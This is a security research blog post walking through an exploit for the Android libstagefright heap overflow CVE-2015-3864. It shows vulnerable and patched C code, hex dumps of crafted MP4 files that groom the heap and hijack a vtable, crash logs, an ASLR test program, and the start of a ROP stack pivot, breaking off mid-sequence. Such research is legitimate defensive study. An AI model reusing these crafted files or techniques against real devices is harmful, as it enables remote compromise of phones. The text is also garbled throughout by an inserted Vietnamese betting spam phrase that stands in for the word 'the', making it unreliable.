Wednesday, September 16, 2015

Stagefrightened?

Posted by Mark Brand, Bypasser of Mitigations

There’s been a lot of attention recently around a number of vulnerabilities in Android’s libstagefright. There’s been a lot of confusion about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 remote exploitability of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issues, especially on modern devices. In this blog post we will demonstrate an exploit for one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 libstagefright vulnerabilities that works on recent Android versions (Android 5.0+ on Nexus 5).

The vulnerability (CVE-2015-3864) that we’ve chosen to exploit is an imperfect patch for one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issues reported by Joshua Drake, which has been fixed for Nexus devices in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 September bulletin. Several parties noticed cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 problem, including at least Exodus Intel and Natalie Silvanovich of Project Zero. It’s a promising looking bug from an exploitation perspective: a linear heap-overflow giving cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker control over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocation; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 amount of overflow, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contents of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 overflowed memory region.

The vulnerable code is in handling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ‘tx3g’ chunk type when parsing MPEG4 video files. Here’s cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 original vulnerable code:

Note when reading that chunk_size is a uint64_t that is parsed from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file; it’s completely controlled by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 attacker and is not validated with regards to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 remaining data available in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file.
case FOURCC('t', 'x', '3', 'g'):
{
   uint32_t type;
   const void *data;
   size_t size = 0;
   if (!mLastTrack->meta->findData(
           kKeyTextFormatData, &type, &data, &size)) {
       size = 0;
   }
   uint8_t *buffer = new uint8_t[size + chunk_size]; // <---- Integer overflow here
   if (size > 0) {
       memcpy(buffer, data, size);                   // <---- Oh dear.
   }
   if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
           < chunk_size) {
       delete[] buffer;
       buffer = NULL;
       return ERROR_IO;
   }
   mLastTrack->meta->setData(
           kKeyTextFormatData, 0, buffer, size + chunk_size);
   delete[] buffer;
   *offset += chunk_size;
   break;
}
And with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 patch applied:
case FOURCC('t', 'x', '3', 'g'):
{
   uint32_t type;
   const void *data;
   size_t size = 0;
   if (!mLastTrack->meta->findData(
           kKeyTextFormatData, &type, &data, &size)) {
       size = 0;
   }
   if (SIZE_MAX - chunk_size <= size) { // <---- attempt to prevent overflow
       return ERROR_MALFORMED;
   }
   uint8_t *buffer = new uint8_t[size + chunk_size];
   if (size > 0) {
       memcpy(buffer, data, size);
   }
   if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
           < chunk_size) {
       delete[] buffer;
       buffer = NULL;
       return ERROR_IO;
   }
   mLastTrack->meta->setData(
           kKeyTextFormatData, 0, buffer, size + chunk_size);
   delete[] buffer;
   *offset += chunk_size;
   break;
}
The issue with this patch is that chunk_size actually doesn’t have type size_t; it is a uint64_t even on 32-bit platforms (most Android devices are currently 32-bit, and currently cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mediaserver is a 32-bit process even on 64-bit Android devices). While cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 check appears to a casual glance to be sufficient; it is not; chunk_size can be larger than SIZE_MAX, causing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 check to pass.
My first step towards exploiting a bug is usually to establish proof-of-vulnerability; in this case we should definitely be able to crash cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mediaserver by triggering this issue, so let’s do just that and put togecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r a simple crash case.

We first need a file that will be detected by libstagefright as an MPEG4 and parsed accordingly; looking at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file sniffing code, we need to start with an ‘ftyp’ chunk near cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 start of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file.

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d                                isom

Note cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 structure of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chunk; we have a 4-byte big-endian chunk size, and 4-byte tag followed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chunk data.

Now, if we just add a ‘tx3g’ chunk, we’ll encounter a different bug!
case FOURCC('t', 'x', '3', 'g'):
{
   uint32_t type;
   const void *data;
   size_t size = 0;
   if (!mLastTrack->meta->findData( // <---- mLastTrack is NULL, SIGSEGV...
           kKeyTextFormatData, &type, &data, &size)) {
       size = 0;
   }
So we need to have at least one track before we can actually reach cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerable code. The ‘trak’ chunk will initialise mLastTrack, and acts as a container for additional chunks.

New ‘trak’ chunk

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0020 7472 616b 0000 0018  isom... trak....
0000020: 7478 3367 4141 4141 4141 4141 4141 4141  tx3gAAAAAAAAAAAA
0000030: 4141 4141                                AAAA

And highlighting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ‘tx3g’ chunk contained in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ‘trak’ chunk.

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0020 7472 616b 0000 0018  isom... trak....
0000020: 7478 3367 4141 4141 4141 4141 4141 4141  tx3gAAAAAAAAAAAA
0000030: 4141 4141                                AAAA

So, this file will get us into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ‘tx3g’ case once; but it won’t trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vulnerability. In order to do that, we need to visit cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 case again with anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r chunk, this time with a chunk_size large enough to trigger an overflow. Keeping things simple, we’ll supply a chunk_size of -1 = 0xffffffffffffffff.

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0020 7472 616b 0000 0018  isom... trak....
0000020: 7478 3367 4141 4141 4141 4141 4141 4141  tx3gAAAAAAAAAAAA
0000030: 4141 4141 0000 0001 7478 3367 ffff ffff  AAAA....tx3g....
0000040: ffff ffff 4242 4242 4242 4242 4242 4242  ....BBBBBBBBBBBB
0000050: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
0000060: 4242 4242                                BBBB

Notice that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 structure of this second chunk is a little different; we have to use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 extended chunk_size code path triggered by a chunk_size of 1 in order to set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 full 64-bit chunk_size.

We now have a simple file to trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue; when I open this file in Chrome on my Nexus 5 with some extra debugging code, printing some useful information to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Android system logs:

MPEG4Extractor: Identified supported mpeg4 through LegacySniffMPEG4.
MPEG4Extractor: trak: new Track[20] (0xb6048160)
MPEG4Extractor: trak: mLastTrack = 0xb6048160
MPEG4Extractor: tx3g: size 0 chunk_size 24
MPEG4Extractor: tx3g: new[24] (0xb6048130)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048130, 24)
MPEG4Extractor: tx3g: size 24 chunk_size 18446744073709551615
MPEG4Extractor: tx3g: new[23] (0xb6048130)
MPEG4Extractor: tx3g: memcpy(0xb6048130, 0xb6048148, 24)
MPEG4Extractor: tx3g: mDataSource->readAt(*offset, 0xb6048148, 18446744073709551615)

We can clearly see here that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 input file triggered two allocations by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parser on handling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 two ‘tx3g’ chunks, and that we’re definitely writing data out-of-bounds of our allocated memory in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last two lines.

Since we’re only overflowing a handful of bytes, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap allocator in use on this Android version is based on jemalloc, it’s relatively unlikely that we’ll overwrite anything important and see a crash with such a small overwrite. Modifying cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PoC file so that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parser will write a big old chunk of bytes instead should get us a demonstrable crash; that’s as simple as adding more ‘B’s to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file and fixing up cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chunk lengths; this is left as an exercise for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 interested reader.

We need a few heap-manipulation primitives to get things set up in a dependable fashion. The first thing that I looked for was a primitive to allocate blocks of memory - this will be used for a number of different things in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exploit. Fortunately, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s a good primitive available in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handling for ‘pssh’ chunks:

case FOURCC('p', 's', 's', 'h'):
{
   *offset += chunk_size;
   PsshInfo pssh;
   if (mDataSource->readAt(data_offset + 4, &pssh.uuid, 16) < 16) {
       return ERROR_IO;
   }
   uint32_t psshdatalen = 0;
   if (mDataSource->readAt(data_offset + 20, &psshdatalen, 4) < 4) {
       return ERROR_IO;
   }
   // pssh.datalen is set to a size we control
   pssh.datalen = ntohl(psshdatalen);
   ALOGV("pssh data size: %d", pssh.datalen);
   if (pssh.datalen + 20 > chunk_size) {
       // pssh data length exceeds size of containing box
       return ERROR_MALFORMED;
   }
   // pssh.data is an allocated block of memory of a size we control
   pssh.data = new (std::nothrow) uint8_t[pssh.datalen];
   if (pssh.data == NULL) {
       return ERROR_MALFORMED;
   }
   ALOGV("allocated pssh @ %p", pssh.data);
   ssize_t requested = (ssize_t) pssh.datalen;
   // now we read data we control into that allocation
   if (mDataSource->readAt(data_offset + 24, pssh.data, requested) < requested) {
       return ERROR_IO;
   }
   // and store it, so cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocation lives for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 lifetime of our MPEG4Extractor
   // (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se pssh blocks are in fact released in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 destructor for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MPEG4Extractor)
   mPssh.push_back(pssh);
   break;
}

This is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first component of our heap-groom; we can use up any fragmented allocations in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size class that we want, ensuring that furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r allocations are likely to be contiguous.

Now we want a second primitive; allocations that we can control both cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocation and release of. There are a lot of places where allocations occur during parsing of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mp4, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 most useful for this purpose that I found were cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 handlers for two chunk types, ‘avcC’ and ‘hvcC’. When handling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se chunk types, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parser will allocate a block of memory and store it; and replace that allocation with a new one when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parser encounters a second chunk of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same type.

case FOURCC('a', 'v', 'c', 'C'):
{
   *offset += chunk_size;
   sp buffer = new ABuffer(chunk_data_size);
   if (mDataSource->readAt(
               data_offset, buffer->data(), chunk_data_size) < chunk_data_size) {
       return ERROR_IO;
   }
   // this internally copies buffer->data() into a buffer of size chunk_data_size, and
   // releases cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 previously stored data.
   mLastTrack->meta->setData(
           kKeyAVCC, kTypeAVCC, buffer->data(), chunk_data_size);
   break;
}

The plan to gain control of execution is to arrange for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 overflow to overwrite an object of type MPEG4DataSource. This is an object of size 32 bytes (on my phone), which cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parser allocates when it encounters an ‘stbl’ chunk. The new data source is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n used for parsing all sub-chunks contained within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ‘stbl’ chunk. So our aim is to create cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following situation:
case FOURCC('t', 'x', '3', 'g'):
{
   uint32_t type;
   const void *data;
   size_t size = 0;
   if (!mLastTrack->meta->findData(
           kKeyTextFormatData, &type, &data, &size)) {
       size = 0;
   }
   if (SIZE_MAX - chunk_size <= size) {  
       return ERROR_MALFORMED;
   }
   // overflow here, so that size + chunk_size == 32 and size > 32
   uint8_t *buffer = new uint8_t[size + chunk_size];
   // buffer is allocated immediately before mDataSource
   if (size > 0) {
       // this will overflow and corrupt cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mDataSource vtable
       memcpy(buffer, data, size);
   }
   // this call goes through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 corrupt vtable, and we get control of execution
   if ((size_t)(mDataSource->readAt(*offset, buffer + size, chunk_size))
           < chunk_size) {
So, we need to arrange our heap carefully so that we can ensure a free space directly before cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocated MPEG4DataSource.

First we need to make a couple of small sized allocation chunks; a small ‘avcC’ chunk and ‘hvcC’ chunk. These trigger additional temporary allocations in sizes that will interfere with our groom allocations, so we get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m out of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way before we start laying out memory.

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0028 7472 616b 0000 0010  isom... trak....
0000020: 6176 6343 4141 4141 4141 4141 0000 0010  avcCAAAAAAAA....
0000030: 6876 6343 4848 4848 4848 4848            hvcCHHHHHHHH

Then we will create our initial ‘tx3g’ allocation. This needs to be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size we’re going to write during cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 memcpy; we’ll make it 64 bytes for now, so that it completely overwrites cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 MPEG4DataSource object. The ‘2’s are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bytes that will be written outside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 final 32 byte allocation as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 result of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 overflow.

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
0000010: 6973 6f6d 0000 0068 7472 616b 0000 0010  isom...gtrak....
0000020: 6176 6343 4141 4141 4141 4141 0000 0010  avcCAAAAAAAA....
0000030: 6876 6343 4848 4848 4848 4848 0000 0040  hvcCHHHHHHHH...@
0000040: 7478 3367 3131 3131 3131 3131 3131 3131  tx3g111111111111
0000050: 3131 3131 3131 3131 3131 3131 3232 3232  1111111111112222
0000060: 3232 3232 3232 3232 3232 3232 3232 3232  2222222222222222
0000070: 3232 3232 3232 3232 3232 3232            222222222222

Now we’re ready to start preparing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap. First we defragment for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 targeted allocation size by allocating some ‘pssh’ blocks of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target size:
_________________
| pssh | - | pssh |
```````````````````

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
...
0000070: 3232 3232 3232 3232 3232 3232 0000 0040  222222222222...@
0000080: 7073 7368 6c65 616b 3030 3030 3030 3030  psshleak00000000
0000090: 3030 3030 3030 3030 0000 0020 4c4c 4c4c  00000000... LLLL
00000a0: 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  LLLLLLLLLLLLLLLL
00000b0: 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c
...

These blocks have some internal structure; cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only part that we are really concerned with is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocation and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data.

Then we allocate an avcC and hvcC block of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target size, which should hopefully be contiguous.
________________________
| pssh | - | pssh | avcC |
``````````````````````````
_______________________________
| pssh | - | pssh | avcC | hvcC |
`````````````````````````````````

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
...
0000170: 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 0000 0028  LLLLLLLLLLLL...(
0000180: 6176 6343 4141 4141 4141 4141 4141 4141  avcCAAAAAAAAAAAA
0000190: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00001a0: 4141 4141 0000 0028 6876 6343 4848 4848  AAAA...(hvcCHHHH
00001b0: 4848 4848 4848 4848 4848 4848 4848 4848  HHHHHHHHHHHHHHHH
00001c0: 4848 4848 4848 4848 4848 4848            HHHHHHHHHHHH

In actual fact, we have a temporary allocation occurring during parsing of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 avcC and hvcC blocks, so cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 heap will actually look like this:
______________________________________
| pssh | - | pssh | .... | avcC | hvcC |
```````````````````````````````````````
So we need to allocate anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r pssh block to fill cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 space
______________________________________
| pssh | - | pssh | pssh | avcC | hvcC |
```````````````````````````````````````
We can cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n free cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hvcC block and trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 allocation of our target MPEG4DataSource
______________________________________
| pssh | - | pssh | pssh | avcC | .... |
```````````````````````````````````````
_________________________________________________
| pssh | - | pssh | pssh | avcC | MPEG4DataSource |
```````````````````````````````````````````````````
0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
...
00001c0: 4848 4848 4848 4848 4848 4848 0000 0040  HHHHHHHHHHHH...@
00001d0: 7073 7368 6c65 616b 3030 3030 3030 3030  psshleak00000000
00001e0: 3030 3030 3030 3030 0000 0020 4c4c 4c4c  00000000... LLLL
00001f0: 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c  LLLLLLLLLLLLLLLL
0000200: 4c4c 4c4c 4c4c 4c4c 4c4c 4c4c 0000 0048  LLLLLLLLLLLL...H
0000210: 6876 6343 4848 4848 4848 4848 4848 4848  hvcCHHHHHHHHHHHH
0000220: 4848 4848 4848 4848 4848 4848 4848 4848  HHHHHHHHHHHHHHHH
0000230: 4848 4848 4848 4848 4848 4848 4848 4848  HHHHHHHHHHHHHHHH
0000240: 4848 4848 4848 4848 4848 4848 4848 4848  HHHHHHHHHHHHHHHH
0000250: 4848 4848 0000 0008 7374 626c            HHHH....stbl

Then inside our ‘stbl’ chunk we just need to release cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ‘avcC’ chunk and trigger cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ‘tx3g’ overflow.
_________________________________________________
| pssh | - | pssh | pssh | tx3g | MPEG4DataSource |
```````````````````````````````````````````````````
_________________________________________________
| pssh | - | pssh | pssh | tx3g ---------------------->
```````````````````````````````````````````````````

0000000: 0000 0014 6674 7970 6973 6f6d 0000 0001  ....ftypisom....
...
0000250: 4848 4848 0000 0060 7374 626c 0000 0048  HHHH...`stbl...H
0000260: 6176 6343 4141 4141 4141 4141 4141 4141  avcCAAAAAAAAAAAA
0000270: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000280: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0000290: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
00002a0: 4141 4141 0000 0001 7478 3367 ffff ffff  AAAA....tx3g....
00002b0: ffff ffe0                                ....

Viewing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 resulting file in a webpage in Chrome results in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following stack trace:

libc    : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x3232324e in tid 3794 (mediaserver)
pid: 3794, tid: 3794, name: mediaserver  >>> /system/bin/mediaserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x3232324e
   r0 b2e90220  r1 32323232  r2 000002a4  r3 00000000
   r4 b2e90240  r5 ffffffe0  r6 b2e90200  r7 00000000
   r8 fffd1da4  r9 bedcf6b8  sl b604b980  fp b604b9d4
   ip bedcece8  sp bedcf1c0  lr b67dff67  pc b67dff76  cpsr 600f0030

backtrace:
   #00 pc 0008ff76  /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+7613)
   #01 pc 0008fac1  /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+6408)
   #02 pc 0008fac1  /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+6408)
   #03 pc 0008de7f  /system/lib/libstagefright.so (android::MPEG4Extractor::readMetaData()+78)
   #04 pc 0008de0b  /system/lib/libstagefright.so
(android::MPEG4Extractor::getMetaData()+8)
   #05 pc 000c0e6f  /system/lib/libstagefright.so (android::StagefrightMetadataRetriever::parseMetaData()+38)

Which is exactly what we were aiming for; we crashed trying to load a function address through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vtable pointer for our corrupted data source object.

Now we face what should be a serious challenge at this point; due to ASLR we have no idea where anything is in memory; we need somehow to get some data that we control somewhere that we can do something useful with. Due to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way that Linux/Android implements ASLR for mmap mappings, it is quite easy for us to get an allocation mapped at a predictable address; Jemalloc as configured on my Nexus 5 falls back to directly mmap’ing huge chunks for allocations above 0x40000 bytes.

The behaviour of mmap means that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se allocations will simply occur down cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address space linearly from a randomised start address. Since we have a very good idea how much space is going to be used already (loaded libraries and initial arena allocation), cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 randomisation just results in a relatively small window that we need to exhaust in order to get a predictable address. The code that implements cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 randomness (in arch/arm/mm/mmap.c) is as follows:

/* 8 bits of randomness in 20 address space bits */
if ((current->flags & PF_RANDOMIZE) &&
   !(current->personality & ADDR_NO_RANDOMIZE))
 random_factor = (get_random_int() % (1 << 8)) << PAGE_SHIFT;

So our mmap mappings can be anywhere (page aligned, of course) in an 0-0xff000 range from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 maximum position that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y can be placed; and we do not need to allocate much memory to exhaust this.

I was initially convinced that I must have misread something, so I coded up a quick test program to validate this:

#include
#include
#include

#include
#include

#define ALLOC_SIZE  0xff000
#define ALLOC_COUNT 0x1

int main(int argc, char** argv) {
 int i = 0;
 char* min_ptr = (char*)0xffffffff;
 char* max_ptr = (char*)0;
 
 for (i = 0; i < ALLOC_COUNT; ++i) {
   char* ptr = mmap(NULL, ALLOC_SIZE,
                    PROT_READ | PROT_WRITE | PROT_EXEC,
                    MAP_PRIVATE | MAP_ANONYMOUS,
                    -1, 0);
   if (ptr < min_ptr) {
     fprintf(stderr, "new min: %p\n", ptr);
     min_ptr = ptr;
   }
   if (ptr + ALLOC_SIZE > max_ptr) {
     fprintf(stderr, "new max: %p\n", ptr + ALLOC_SIZE);
     max_ptr = ptr + ALLOC_SIZE;
   }
   
   memset(ptr, '\xcc', ALLOC_SIZE);
 }
 
 fprintf(stderr, "finished min: %p max %p\n", min_ptr, max_ptr);

 ((void(*)())0xf7500000)();
}

On my Ubuntu x86_64 desktop with /proc/sys/randomize_va_space == 2, compiling and running this as a 32-bit executable reliably results in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address 0xf7500000 being mapped and resulting in a SIGTRAP. Your mileage may vary... Similar tests on my Nexus 5 gave cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same result. I knew that ASLR on 32-bit was always a bit shaky; but I didn’t think it was this broken.

It’s slightly less predictable in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mediaserver process, since large amounts of memory may have been used already in previous parsing; but we can reliably get data we control at a predictable address with a relatively small number of allocations.

After a bit of experimentation, it seemed that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best way to achieve this in practice is by wrapping a number of our ‘pssh’ chunks inside a valid sample table (‘stbl’). This triggers cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 creation of a caching MPEG4DataSource, which will cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n allocate and save all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 data for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 contained chunks; and will cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n be used to parse out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 chunks. This essentially doubles cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of our spray, reducing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 size of file needed.

Updating our mp4 to incorporate this page-spray and point cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 overwritten vtable pointer to our predictable address gets us one step furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r; control over cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 address called as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vtable function.

Fatal signal 11 (SIGSEGV), code 1, fault addr 0xc01db33e in tid 2223 (Binder_3)
*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
pid: 2179, tid: 2223, name: Binder_3  >>> /system/bin/mediaserver <<<
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xc01db33e
    r0 b5967660  r1 b59676d8  r2 01000708  r3 00000000
    r4 b49ff570  r5 ffffff88  r6 c01db33f  r7 b49ff550
    r8 b586e240  r9 74783367  sl b49ffa78  fp b5967640
    ip 00000000  sp b49ff510  lr b66387d5  pc c01db33e  cpsr 400f0030
backtrace:
    #00 pc c01db33e  
    #01 pc 000797d3  /system/lib/libstagefright.so
(android::MPEG4Extractor::parseChunk(long long*, int)+4610)

So now we have a controlled function call; without ASLR at this point it would be trivially game-over. All that would be needed for a reliable exploit is simply to redirect execution to a convenient gadget to stack pivot, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n build a ROP stack.

Disabling ASLR in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system config I fairly quickly found a useful trick to pivot cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 stack (our function call is a vtable call, so we will always have r0 set as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 this object, pointing to our corrupted MPEG4DataSource).

Inside longjmp in libc.so, we have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following instruction sequence

.text:00013344    ADD             R2, R0, #0x4C
